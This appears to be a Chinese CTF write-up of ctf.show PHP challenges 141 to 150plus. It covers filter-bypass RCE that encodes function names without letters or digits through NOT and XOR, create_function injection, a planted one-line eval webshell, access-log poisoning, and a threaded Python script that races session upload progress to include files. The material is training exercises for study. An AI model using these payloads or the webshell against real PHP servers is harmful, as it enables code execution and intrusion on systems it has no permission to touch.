highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
无字母数字的RCE
主要特征就是这个正则^\W+$ -->匹配任意非字母数字
php另一个特性:代码可以与数字一起执行
如1-phpinfo(); 会执行,但也会报错。但是报错为warning不影响phpinfo的执行。
那么这里用取反构造webshell。
//payload:?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)-
web 142:php科学计数法
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
根据题目。输入的只能是数字,如果输入正数会直接sleepN久。
因为科学计数法也是数字。
//payload:?v1=0e123
web 143:无字母数字webshell
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
看了下题。应该是无字母数字构造webshell
没了+-我们可以用*带代替
//payload1:?v1=1&v2=2&v3=*((%ff%ff%ff%ff%ff%ff)^(%8c%86%8c%8b%9a%92))(('%0c%13')^('``'))*
得到当前目录下有:flag.php index.php
//payload2:?v1=1&v2=2&v3=*((%ff%ff%ff%ff%ff%ff)^(%8c%86%8c%8b%9a%92))(('%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff')^('%9c%9e%8b%df%99%93%9e%98%d1%8f%97%8f'))*
顺便贴一个异或webshell的脚本(有无单引号均可)
<?php
$l = "";
$r = "";
$argv = str_split("cat flag.php");//准备得到的字符串
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255);
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "('$l')^('$r')";
?>
web 144:#web 143弱化版
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
还是一样的无字母数字构造。
一把梭哈。不过这次是v3=-
//payload:?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)&v3=-
web 145:三目运算符,变量拼接RCE
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
还是一样的无字母数字构造。
但是!这里我们的-+*/全被ban了。这里肯定有新的知识点,但是我不会。
看了羽师傅WP。
这里考察三目运算符。
如<?php return 1?phpinfo():1;?>
这里会执行phpinfo();
思路有了。冲!
//payload:?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F):
web 146:php代码可以与位运算同时执行
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
还是一样的无字母数字构造。
但是!这里我们的-+*/:全被ban了。三木运算符行不通了。
既然普通的算式可以运算,那么位运算呢?本地测试下。
eval(1|phpinfo());
这里会执行phpinfo();
思路有了。冲!
//payload:?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|
web 147:create_function,fuzz测试绕过正则
<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
很眼熟。今天才做过的create_function()的题目。
现在重点是ctfshow的正则绕过。
fuzz一下,可以使用%5c绕过。
//payload:GET:?show=}system("cat flag.php");//
POST:ctfshow=%5ccreate_function
web 149:条件竞争
<?php
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
可以发现写入的文件名不是index.php的时候会删除。
那我直接往index.php写一个一句话木马不就行了
//payload:GET:?ctf=index.php
//payload:POST:show=<?php eval($_POST[1]);?>
web 150:非预期日志包含,预期在150plus
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
代码挺长。
先看存在一个$key的过滤。然后一个post传参,一个extract($_GET)
最后当$isVIP=1,且ctf中无:时,会执行文件包含。
这样的话伪协议不能用了。
这个$isVIP倒可控。因为extract的存在,在GET处传参$isVIP=1即可。
明显这里CTFSHOW类中的__destruct会返回flag。
那么创建这个类即可。但是post如何创建一个类,我倒是不太会。
因为这个__CTFSHOW__这个点我绕不过。
看了师傅们的wp是利用了日志包含。
//payload:
GET:isVIP=1
POST:ctf = /var/log/nginx/access.log&1=system('tac f*);
UA=<?php eval($_POST[1]);?>
web 150plus:文件包含条件竞争
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
/**
跟上一题一样,但是Ban掉了上一题的日志包含。
根据hint的说法
..CTFSHOW..=__CTFSHOW__
..CTFSHOW..=phpinfo 会执行phpinfo。
群主给的说法是autoload()会自动加载类。那我们输入的phpinfo也会自动被加载?
原理我不懂。后面有机会再说。
看到了phpinfo.那么可操作性就太强了。先找flag
没有。再找session。
发现seesion_auto_starat = off
session_upload_progress =o n
session_cleanup = on
那么可以session竞争了。
但是没有给我们这个session.save
直接盲猜测/tmp/即可
看了群主的预期解,表示这谁会啊?
**/
脚本贴出来:
#coding=utf-8
# @Author: k1he
# @Date: 2021-08-23 18:08:10
# @Last Modified by: k1he
# @Last Modified time: 2021-08-23 20:34:04
import io
import requests
import threading
sessid = 'k1he'
url = ' http://522d8444-7909-4206-af01-bc1257b3c59d.challenge.ctf.show:8080/?isVIP=1'
def write(session):
while event.isSet():
f = io.BytesIO(b'a'* 1024 * 50) #创建文件
response = session.post( #post文件上传
url, #url
cookies = {'PHPSESSID':sessid}, #设置cookie为我们的sessid
data = { "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');?>"},#写马或执行内容
files = {"file":('k1he.txt',f)} #上传文的具体内容,文件名和文件内容
)
def read(session):
while event.isSet():
data ={
'ctf':"/tmp/sess_"+sessid
}
#包含我们的session路径
response = session.post(url = url,data =data) #读取页面
if 'k1he.txt' in response.text: #返回页面
print(response.text)
event.clear
else:
print("[*]retrying!!!")
if __name__ == '__main__': #双线程运行
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()